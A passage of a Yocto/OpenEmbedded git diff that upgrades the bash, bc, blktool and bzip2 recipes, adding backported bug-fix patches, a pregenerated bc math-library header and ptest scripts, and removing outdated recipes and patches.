-SRC_URI[patch011.sha256sum] = "dd56426ef7d7295e1107c0b3d06c192eb9298f4023c202ca2ba6266c613d170d"
-SRC_URI[patch012.md5sum] = "fa47fbfa56fb7e9e5367f19a9df5fc9e"
-SRC_URI[patch012.sha256sum] = "fac271d2bf6372c9903e3b353cb9eda044d7fe36b5aab52f21f3f21cd6a2063e"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.2.21.bb b/meta/recipes-extended/bash/bash_5.2.21.bb
new file mode 100644
index 0000000000..532adf4c1a
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.2.21.bb
@@ -0,0 +1,24 @@
+require bash.inc
+
+# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
+ file://mkbuiltins_have_stringize.patch \
+ file://build-tests.patch \
+ file://test-output.patch \
+ file://run-ptest \
+ file://run-bash-ptests \
+ file://fix-run-builtins.patch \
+ file://use_aclocal.patch \
+ file://0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch \
+ file://fix-filesubst-errexit.patch \
+ "
+
+SRC_URI[tarball.sha256sum] = "c8e31bdc59b69aaffc5b36509905ba3e5cbb12747091d27b4b977f078560d5b8"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc/0001-dc-fix-exit-code-of-q-command.patch b/meta/recipes-extended/bc/bc/0001-dc-fix-exit-code-of-q-command.patch
new file mode 100644
index 0000000000..1ef797dd66
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/0001-dc-fix-exit-code-of-q-command.patch
@@ -0,0 +1,44 @@
+From e174b6e7d195d5a7465575641b7f68581f162574 Mon Sep 17 00:00:00 2001
+From: Li Zhou <li.zhou@windriver.com>
+Date: Thu, 27 Jun 2019 13:10:47 +0800
+Subject: [PATCH] dc: fix exit code of q command
+
+The exit code for "echo q | dc" is 1 for dc-1.4.1;
+while the exit code for "echo q | dc" is 0 for dc-1.4.
+
+Here is the answer from ken@gnu.org:
+dc-1.4 was right. There was a rewrite of a chunk of code for 1.4.1 to
+fix a corner case in the Q command, and somehow the placement of the
+clean-up label for the 'q' command got misplaced on the error-handling
+branch instead of the clean-exit branch. The patch below fixes this
+(it is committed for whenever the next bc/dc release gets made).
+
+Thanks for the report,
+ --Ken Pizzini
+
+Upstream-Status: Backport [Got the solution from maintainer]
+
+Signed-off-by: Li Zhou <li.zhou@windriver.com>
+---
+ dc/eval.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/dc/eval.c b/dc/eval.c
+index 05a3d9e..bcab8db 100644
+--- a/dc/eval.c
++++ b/dc/eval.c
+@@ -814,10 +814,10 @@ error_fail:
+ fprintf(stderr, "%s: ", progname);
+ perror("error reading input");
+ return DC_FAIL;
+-reset_and_exit_quit:
+ reset_and_exit_fail:
+ signal(SIGINT, sigint_default);
+ return DC_FAIL;
++reset_and_exit_quit:
+ reset_and_exit_success:
+ signal(SIGINT, sigint_default);
+ return DC_SUCCESS;
+--
+1.9.1
+
diff --git a/meta/recipes-extended/bc/bc/libmath.h b/meta/recipes-extended/bc/bc/libmath.h
new file mode 100644
index 0000000000..63e1acb9ef
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/libmath.h
@@ -0,0 +1,46 @@
+{"@iK20:s2:p@r",
+"@iF1,5.6,7,8,9,10,11,12,13,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl5:C1,0:",
+"s14:pl7:s0:pl14:RN1:l5:0<Z2:1s12:pl5:ns5:pN2:l2:s15:pK6:l15:+",
+"K.44:l5:*+s13:pl5:cS1+s2:pN3:l5:1>Z4:l10:1+s10:pl5:K2:/s5:pl2:",
+"1+s2:pJ3:N4:l13:s2:p1l5:+s14:pl5:s6:p1s8:pK2:s11:pN6:1B7:J5:N8:",
+"l11:i11:pJ6:N7:l6:l5:*s6:l8:l11:*s8:/s9:pl9:0=Z9:l10:0>Z10:N11:",
+"l10:d10:Z12:l14:l14:*s14:pJ11:N12:N10:l15:s2:pl12:Z13:1l14:/R",
+"N13:l14:1/RN9:l14:l9:+s14:pJ8:N5:0R]@r",
+"@iF2,5.7,9,10,11,12,13,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl5:C2,0:",
+"s14:pl7:s0:pl14:RN1:l5:0{Z2:1K10:l2:^-1/RN2:l2:s15:pK6:l2:+s2:",
+"pK2:s10:p0s11:pN3:l5:K2:}Z4:l10:K2:*s10:pl5:cRs5:pJ3:N4:N5:l5:",
+"K.5:{Z6:l10:K2:*s10:pl5:cRs5:pJ5:N6:l5:1-l5:1+/s13:s14:pl13:l13:",
+"*s12:pK3:s11:pN8:1B9:J7:N10:l11:K2:+s11:pJ8:N9:l13:l12:*s13:l11:",
+"/s9:pl9:0=Z11:l10:l14:*s14:pl15:s2:pl14:1/RN11:l14:l9:+s14:pJ10:N7:",
+"0R]@r",
+"@iF3,5.7,9,11,12,13,16,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl5:C3,0:",
+"s14:pl7:s0:pl14:RN1:l2:s15:pK1.1:l15:*K2:+s2:p1C4,0:s14:pl5:0",
+"<Z2:1s12:pl5:ns5:pN2:0s2:pl5:l14:/K2:+K4:/s13:pl5:K4:l13:*l14:",
+"*-s5:pl13:K2:%Z3:l5:ns5:pN3:l15:K2:+s2:pl5:s9:s14:pl5:nl5:*s16:",
+"pK3:s11:pN5:1B6:J4:N7:l11:K2:+s11:pJ5:N6:l9:l16:l11:l11:1-*/*",
+"s9:pl9:0=Z8:l15:s2:pl12:Z9:l14:n1/RN9:l14:1/RN8:l14:l9:+s14:p",
+"J7:N4:0R]@r",
+"@iF5,5.7,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl5:C5,0:s14:pl7:s0:pl14:",
+"RN1:l2:s15:pl2:K1.2:*s2:pl5:1C4,0:K2:*+C3,0:s14:pl15:s2:pl14:",
+"1/R0R]@r",
+"@iF4,5.6,7,9,10,11,12,13,16,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl5:",
+"C4,0:s14:pl7:s0:pl14:RN1:1s12:pl5:0<Z2:1ns12:pl5:ns5:pN2:l5:1",
+"=Z3:l2:K25:{Z4:K.7853981633974483096156608:l12:/RN4:l2:K40:{Z5:",
+"K.7853981633974483096156608458198757210492:l12:/RN5:l2:K60:{Z6:",
+"K.785398163397448309615660845819875721049292349843776455243736",
+":l12:/RN6:N3:l5:K.2:=Z7:l2:K25:{Z8:K.1973955598498807583700497",
+":l12:/RN8:l2:K40:{Z9:K.1973955598498807583700497651947902934475",
+":l12:/RN9:l2:K60:{Z10:K.197395559849880758370049765194790293447585103787852101517688",
+":l12:/RN10:N7:l2:s15:pl5:K.2:>Z11:l15:K5:+s2:pK.2:C4,0:s6:pN11:",
+"l15:K3:+s2:pN12:l5:K.2:>Z13:l10:1+s10:pl5:K.2:-1l5:K.2:*+/s5:",
+"pJ12:N13:l5:s13:s14:pl5:nl5:*s16:pK3:s11:pN15:1B16:J14:N17:l11:",
+"K2:+s11:pJ15:N16:l13:l16:*s13:l11:/s9:pl9:0=Z18:l15:s2:pl10:l6:",
+"*l14:+l12:/RN18:l14:l9:+s14:pJ17:N14:0R]@r",
+"@iF6,13,5.6,7,8,9,10,11,12,16,14,15[l0:KA:#Z1:l0:s7:pKA:s0:pl13:",
+"l5:C6,00:s14:pl7:s0:pl14:RN1:l2:s15:p0s2:pl13:1/s13:pl13:0<Z2:",
+"l13:ns13:pl13:K2:%1=Z3:1s12:pN3:N2:1s10:pK2:s11:pN5:l11:l13:{",
+"B6:J4:N7:l11:i11:pJ5:N6:l10:l11:*s10:pJ7:N4:K1.5:l15:*s2:pl5:",
+"l13:^K2:l13:^/l10:/s10:p1s9:s14:pl5:nl5:*K4:/s16:pK1.5:l15:*l10:",
+"cL+l10:cS-s2:p1s11:pN9:1B10:J8:N11:l11:i11:pJ9:N10:l9:l16:*l11:",
+"/l13:l11:+/s9:pl9:0=Z12:l15:s2:pl12:Z13:l10:nl14:*1/RN13:l10:",
+"l14:*1/RN12:l14:l9:+s14:pJ11:N8:0R]@r",0}
diff --git a/meta/recipes-extended/bc/bc/no-gen-libmath.patch b/meta/recipes-extended/bc/bc/no-gen-libmath.patch
new file mode 100644
index 0000000000..c4cce58759
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/no-gen-libmath.patch
@@ -0,0 +1,24 @@
+These rules are not cross-friendly so delete them and we'll generate the file offline.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+
+diff --git a/bc/Makefile.am b/bc/Makefile.am
+index d9d412e..f244241 100644
+--- a/bc/Makefile.am
++++ b/bc/Makefile.am
+@@ -31,14 +31,6 @@ global.o: libmath.h
+
+ fbcOBJ = main.o bc.o scan.o execute.o load.o storage.o util.o warranty.o
+
+-libmath.h: libmath.b $(fbcOBJ) $(LIBBC)
+- echo '{0}' > libmath.h
+- $(MAKE) global.o
+- $(LINK) -o fbc $(fbcOBJ) global.o $(LIBBC) $(LIBL) $(READLINELIB) $(LIBS)
+- ./fbc -c $(srcdir)/libmath.b </dev/null >libmath.h
+- $(srcdir)/fix-libmath_h
+- rm -f ./fbc ./global.o
+-
+ sbcOBJ = main.o sbc.o scan.o execute.o global.o load.o storage.o util.o \
+ warranty.o
+ sbc.o: sbc.c
diff --git a/meta/recipes-extended/bc/bc/run-ptest b/meta/recipes-extended/bc/bc/run-ptest
new file mode 100644
index 0000000000..ba5abe6805
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/run-ptest
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+for TEST in *.b; do
+ if bc -l $TEST </dev/null; then
+ echo "PASS: bc/$TEST"
+ else
+ echo "FAIL: bc/$TEST"
+ fi
+done
diff --git a/meta/recipes-extended/bc/bc_1.06.bb b/meta/recipes-extended/bc/bc_1.06.bb
deleted file mode 100644
index d8c8a860f8..0000000000
--- a/meta/recipes-extended/bc/bc_1.06.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Arbitrary precision calculator language"
-HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
-
-LICENSE = "GPLv2+ & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LIB;md5=d8045f3b8f929c1cb29a1e3fd737b499 \
- file://bc/bcdefs.h;endline=31;md5=46dffdaf10a99728dd8ce358e45d46d8 \
- file://dc/dc.h;endline=25;md5=2f9c558cdd80e31b4d904e48c2374328 \
- file://lib/number.c;endline=31;md5=99434a0898abca7784acfd36b8191199"
-
-SECTION = "base"
-DEPENDS = "flex"
-PR = "r3"
-
-SRC_URI = "${GNU_MIRROR}/bc/bc-${PV}.tar.gz \
- file://fix-segment-fault.patch "
-
-SRC_URI[md5sum] = "d44b5dddebd8a7a7309aea6c36fda117"
-SRC_URI[sha256sum] = "4ef6d9f17c3c0d92d8798e35666175ecd3d8efac4009d6457b5c99cea72c0e33"
-
-inherit autotools texinfo update-alternatives
-
-ALTERNATIVE_${PN} = "dc"
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
new file mode 100644
index 0000000000..819da6cda6
--- /dev/null
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Arbitrary precision calculator language"
+HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
+DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
+
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \
+ file://dc/dc.h;endline=18;md5=36b8c600b63ee8c3aeade2764f6b2a4b \
+ file://lib/number.c;endline=20;md5=cf43068cc88f837731dc53240456cfaf"
+
+SECTION = "base"
+DEPENDS = "flex-native"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://no-gen-libmath.patch \
+ file://libmath.h \
+ file://0001-dc-fix-exit-code-of-q-command.patch \
+ file://run-ptest"
+SRC_URI[md5sum] = "cda93857418655ea43590736fc3ca9fc"
+SRC_URI[sha256sum] = "62adfca89b0a1c0164c2cdca59ca210c1d44c3ffc46daf9931cf4942664cb02a"
+
+inherit autotools texinfo update-alternatives ptest
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
+
+do_compile:prepend() {
+ cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
+}
+
+do_install_ptest() {
+ install ${S}/Test/*.b ${D}${PTEST_PATH}
+}
+
+ALTERNATIVE:${PN} = "bc dc"
+ALTERNATIVE_PRIORITY = "100"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/bc/files/fix-segment-fault.patch b/meta/recipes-extended/bc/files/fix-segment-fault.patch
deleted file mode 100644
index 20c0da2ebe..0000000000
--- a/meta/recipes-extended/bc/files/fix-segment-fault.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Pending
-
-when run command such as 'echo "a = 13" | bc -l', it segmentation faults.
-This patch is from http://www.mail-archive.com/blfs-support@linuxfromscratch.org/msg04602.html.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
---- bc-1.06/lib/number.c.orig 2003-09-26 21:14:02.000000000 +0000
-+++ bc-1.06/lib/number.c 2003-09-26 21:14:26.000000000 +0000
-@@ -34,6 +34,7 @@
- #include <number.h>
- #include <assert.h>
- #include <stdlib.h>
-+#include <string.h>
- #include <ctype.h>/* Prototypes needed for external utility routines. */
-
- #define bc_rt_warn rt_warn
---- bc-1.06/bc/load.c.orig 2003-09-26 21:14:14.000000000 +0000
-+++ bc-1.06/bc/load.c 2003-09-26 21:14:26.000000000 +0000
-@@ -156,7 +156,7 @@
- long label_no;
- long vaf_name; /* variable, array or function number. */
- long func;
-- program_counter save_adr;
-+ static program_counter save_adr;
-
- /* Initialize. */
- str = code;
diff --git a/meta/recipes-extended/blktool/blktool/0001-fix-typos-in-manpage.patch b/meta/recipes-extended/blktool/blktool/0001-fix-typos-in-manpage.patch
index fee368dac2..25a2fabe15 100644
--- a/meta/recipes-extended/blktool/blktool/0001-fix-typos-in-manpage.patch
+++ b/meta/recipes-extended/blktool/blktool/0001-fix-typos-in-manpage.patch
@@ -7,7 +7,7 @@ This patch is taken from
ftp://ftp.debian.org/debian/pool/main/b/blktool/blktool_4-7.debian.tar.xz
Upstream-Status: Inappropriate [upstream is dead]
-Signed-off-by: Alexander Kanavin <alexander.kanavin@linux.intel.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
blktool.8 | 4 ++--
diff --git a/meta/recipes-extended/blktool/blktool/0002-fix-string-error.patch b/meta/recipes-extended/blktool/blktool/0002-fix-string-error.patch
index d08aba5f05..401e41e3ed 100644
--- a/meta/recipes-extended/blktool/blktool/0002-fix-string-error.patch
+++ b/meta/recipes-extended/blktool/blktool/0002-fix-string-error.patch
@@ -7,7 +7,7 @@ This patch is taken from
ftp://ftp.debian.org/debian/pool/main/b/blktool/blktool_4-7.debian.tar.xz
Upstream-Status: Inappropriate [upstream is dead]
-Signed-off-by: Alexander Kanavin <alexander.kanavin@linux.intel.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
util.c | 2 +-
diff --git a/meta/recipes-extended/blktool/blktool/0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch b/meta/recipes-extended/blktool/blktool/0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch
index d7ed0b9f4d..d1f1e797fe 100644
--- a/meta/recipes-extended/blktool/blktool/0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch
+++ b/meta/recipes-extended/blktool/blktool/0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch
@@ -14,7 +14,7 @@ This patch is taken from
ftp://ftp.debian.org/debian/pool/main/b/blktool/blktool_4-7.debian.tar.xz
Upstream-Status: Inappropriate [upstream is dead]
-Signed-off-by: Alexander Kanavin <alexander.kanavin@linux.intel.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
blktool.c | 11 +++++++++--
diff --git a/meta/recipes-extended/blktool/blktool/0004-fix-ftbfs-glibc-2.28.patch b/meta/recipes-extended/blktool/blktool/0004-fix-ftbfs-glibc-2.28.patch
new file mode 100644
index 0000000000..65bca65100
--- /dev/null
+++ b/meta/recipes-extended/blktool/blktool/0004-fix-ftbfs-glibc-2.28.patch
@@ -0,0 +1,19 @@
+Description: Fix FTBFS with glibc 2.28
+Author: Adrian Bunk <bunk@debian.org>
+Bug-Debian: https://bugs.debian.org/917055
+
+This patch is taken from
+http://ftp.debian.org/debian/pool/main/b/blktool/blktool_4-7.1.debian.tar.xz
+
+Upstream-Status: Inappropriate [upstream is dead]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+--- blktool-4.orig/blktool.c
++++ blktool-4/blktool.c
+@@ -18,6 +18,7 @@
+ #include <unistd.h>
+ #include <sys/stat.h>
+ #include <sys/ioctl.h>
++#include <sys/sysmacros.h>
+ #include <fcntl.h>
+ #include <errno.h>
+ #include <getopt.h>
diff --git a/meta/recipes-extended/blktool/blktool_4-7.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb
index 4551c3233e..bb44befb56 100644
--- a/meta/recipes-extended/blktool/blktool_4-7.bb
+++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \
of a block device. It is like hdparm but a more general tool, as it \
works on SCSI, IDE and SATA devices."
HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373"
@@ -13,6 +13,7 @@ SRC_URI = "http://snapshot.debian.org/archive/debian/20160728T043443Z/pool/main/
file://0001-fix-typos-in-manpage.patch \
file://0002-fix-string-error.patch \
file://0003-Fix-3-d-argument-for-BLKROSET-it-must-be-const-int.patch \
+ file://0004-fix-ftbfs-glibc-2.28.patch \
"
SRC_URI[tarball.md5sum] = "62edc09c9908107e69391c87f4f3fd40"
diff --git a/meta/recipes-extended/bzip2/bzip2-1.0.6/CVE-2016-3189.patch b/meta/recipes-extended/bzip2/bzip2-1.0.6/CVE-2016-3189.patch
deleted file mode 100644
index 1d0c3a6dd3..0000000000
--- a/meta/recipes-extended/bzip2/bzip2-1.0.6/CVE-2016-3189.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Upstream-Status: Backport
-https://bugzilla.suse.com/attachment.cgi?id=681334
-
-CVE: CVE-2016-3189
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: bzip2-1.0.6/bzip2recover.c
-===================================================================
---- bzip2-1.0.6.orig/bzip2recover.c
-+++ bzip2-1.0.6/bzip2recover.c
-@@ -457,6 +457,7 @@ Int32 main ( Int32 argc, Char** argv )
- bsPutUChar ( bsWr, 0x50 ); bsPutUChar ( bsWr, 0x90 );
- bsPutUInt32 ( bsWr, blockCRC );
- bsClose ( bsWr );
-+ outFile = NULL;
- }
- if (wrBlock >= rbCtr) break;
- wrBlock++;
diff --git a/meta/recipes-extended/bzip2/bzip2-1.0.6/fix-bunzip2-qt-returns-0-for-corrupt-archives.patch b/meta/recipes-extended/bzip2/bzip2-1.0.6/fix-bunzip2-qt-returns-0-for-corrupt-archives.patch
deleted file mode 100644
index ece90d94e6..0000000000
--- a/meta/recipes-extended/bzip2/bzip2-1.0.6/fix-bunzip2-qt-returns-0-for-corrupt-archives.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 8068659388127e8e63f2d2297ba2348c72b20705 Mon Sep 17 00:00:00 2001
-From: Wenzong Fan <wenzong.fan@windriver.com>
-Date: Mon, 12 Oct 2015 03:19:51 -0400
-Subject: [PATCH] bzip2: fix bunzip2 -qt returns 0 for corrupt archives
-
-"bzip2 -t FILE" returns 2 if FILE exists, but is not a valid bzip2 file.
-"bzip2 -qt FILE" returns 0 when this happens, although it does print out
-an error message as is does so.
-
-This has been fix by Debian, just port changes from Debian patch file
-"20-legacy.patch".
-
-Debian defect:
-https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=279025
-
-Fix item from changelog:
-http://archive.debian.net/changelogs/pool/main/b/bzip2/bzip2_1.0.2-7/changelog
-
- * Fixed "bunzip2 -qt returns 0 for corrupt archives" (Closes: #279025).
-
-Upstream-Status: Pending
-
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
----
- bzip2.c | 14 ++++++++------
- 1 file changed, 8 insertions(+), 6 deletions(-)
-
-diff --git a/bzip2.c b/bzip2.c
-index 6de9d1d..f2ce668 100644
---- a/bzip2.c
-+++ b/bzip2.c
-@@ -2003,12 +2003,14 @@ IntNative main ( IntNative argc, Char *argv[] )
- testf ( aa->name );
- }
- }
-- if (testFailsExist && noisy) {
-- fprintf ( stderr,
-- "\n"
-- "You can use the `bzip2recover' program to attempt to recover\n"
-- "data from undamaged sections of corrupted files.\n\n"
-- );
-+ if (testFailsExist) {
-+ if (noisy) {
-+ fprintf ( stderr,
-+ "\n"
-+ "You can use the `bzip2recover' program to attempt to recover\n"
-+ "data from undamaged sections of corrupted files.\n\n"
-+ );
-+ }
- setExit(2);
- exit(exitValue);
- }
---
-1.9.1
-
diff --git a/meta/recipes-extended/bzip2/bzip2-1.0.6/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index dcf64584d9..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2-1.0.6/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
lib_LTLIBRARIES = libbz2.la
-libbz2_la_LDFLAGS = -version-info 1:6:0
+libbz2_la_LDFLAGS = -version-info 1:8:0
libbz2_la_SOURCES = blocksort.c \
huffman.c \
@@ -46,6 +46,7 @@ runtest:
else echo "FAIL: sample2 decompress"; fi
@if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
else echo "FAIL: sample3 decompress"; fi
+ ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
install-ptest:
sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
diff --git a/meta/recipes-extended/bzip2/bzip2-1.0.6/configure.ac b/meta/recipes-extended/bzip2/bzip2/configure.ac
index e2bf1bf110..b8abade2d9 100644
--- a/meta/recipes-extended/bzip2/bzip2-1.0.6/configure.ac
+++ b/meta/recipes-extended/bzip2/bzip2/configure.ac
@@ -1,6 +1,6 @@
AC_PREREQ([2.57])
-AC_INIT(bzip2, 1.0.6)
+AC_INIT(bzip2, %BZIP2_VERSION%)
AM_INIT_AUTOMAKE(foreign)
AM_MAINTAINER_MODE
diff --git a/meta/recipes-extended/bzip2/bzip2-1.0.6/run-ptest b/meta/recipes-extended/bzip2/bzip2/run-ptest
index 3b20fce1ee..3b20fce1ee 100644
--- a/meta/recipes-extended/bzip2/bzip2-1.0.6/run-ptest
+++ b/meta/recipes-extended/bzip2/bzip2/run-ptest
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.6.bb b/meta/recipes-extended/bzip2/bzip2_1.0.6.bb
deleted file mode 100644
index de668d6d2b..0000000000
--- a/meta/recipes-extended/bzip2/bzip2_1.0.6.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Very high-quality data compression program"
-DESCRIPTION = "bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and \
-Huffman coding. Compression is generally considerably better than that achieved by more conventional \
-LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
-HOMEPAGE = "http://www.bzip.org/"
-SECTION = "console/utils"
-LICENSE = "bzip2"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=8;endline=37;md5=40d9d1eb05736d1bfc86cfdd9106e6b2"
-PR = "r5"
-
-SRC_URI = "http://www.bzip.org/${PV}/${BP}.tar.gz \
- file://fix-bunzip2-qt-returns-0-for-corrupt-archives.patch \
- file://configure.ac;subdir=${BP} \
- file://Makefile.am;subdir=${BP} \
- file://run-ptest \
- file://CVE-2016-3189.patch \
- "
-
-SRC_URI[md5sum] = "00b516f4704d4a7cb50a1d97e6e8e15b"
-SRC_URI[sha256sum] = "a2848f34fcd5d6cf47def00461fcb528a0484d8edef8208d6d2e2909dc61d9cd"
-
-UPSTREAM_CHECK_URI = "http://www.bzip.org/downloads.html"
-
-PACKAGES =+ "libbz2"
-
-CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
-
-inherit autotools update-alternatives ptest relative_symlinks
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "bunzip2 bzcat"
-
-#install binaries to bzip2-native under sysroot for replacement-native
-EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
-
-do_install_ptest () {
- sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
-}
-
-FILES_libbz2 = "${libdir}/lib*${SOLIBS}"
-
-PROVIDES_append_class-native = " bzip2-replacement-native"
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
new file mode 100644
index 0000000000..4e3a06f240
--- /dev/null
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -0,0 +1,70 @@
+SUMMARY = "Very high-quality data compression program"
+DESCRIPTION = "bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and \
+Huffman coding. Compression is generally considerably better than that achieved by more conventional \
+LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
+HOMEPAGE = "https://sourceware.org/bzip2/"
+SECTION = "console/utils"
+LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE:${PN} = "bzip2-1.0.6"
+LICENSE:${PN}-dev = "bzip2-1.0.6"
+LICENSE:${PN}-dbg = "bzip2-1.0.6"
+LICENSE:${PN}-doc = "bzip2-1.0.6"
+LICENSE:${PN}-src = "bzip2-1.0.6"
+LICENSE:libbz2 = "bzip2-1.0.6"
+LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
+ file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
+ file://${WORKDIR}/git/dotnetzip/License.txt;md5=9cb56871eed4e748c3bc7e8ff352a54f \
+ file://${WORKDIR}/git/dotnetzip/License.zlib.txt;md5=cc421ccd22eeb2e5db6b79e6de0a029f \
+ file://${WORKDIR}/git/go/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707 \
+ file://${WORKDIR}/git/lbzip2/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+"
+
+SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
+ git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master;protocol=https \
+ file://configure.ac;subdir=${BP} \
+ file://Makefile.am;subdir=${BP} \
+ file://run-ptest \
+ "
+SRC_URI[md5sum] = "67e051268d0c475ea773822f7500d0e5"
+SRC_URI[sha256sum] = "ab5a03176ee106d3f0fa90e381da478ddae405918153cca248e682cd0c4a2269"
+
+SRCREV_bzip2-tests = "f9061c030a25de5b6829e1abf373057309c734c0"
+
+UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
+
+PACKAGES =+ "libbz2"
+
+CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
+
+inherit autotools update-alternatives ptest relative_symlinks
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
+
+#install binaries to bzip2-native under sysroot for replacement-native
+EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
+
+do_configure:prepend () {
+ sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
+}
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/bzip2-tests
+ cp -r ${WORKDIR}/git/commons-compress ${D}${PTEST_PATH}/bzip2-tests/commons-compress
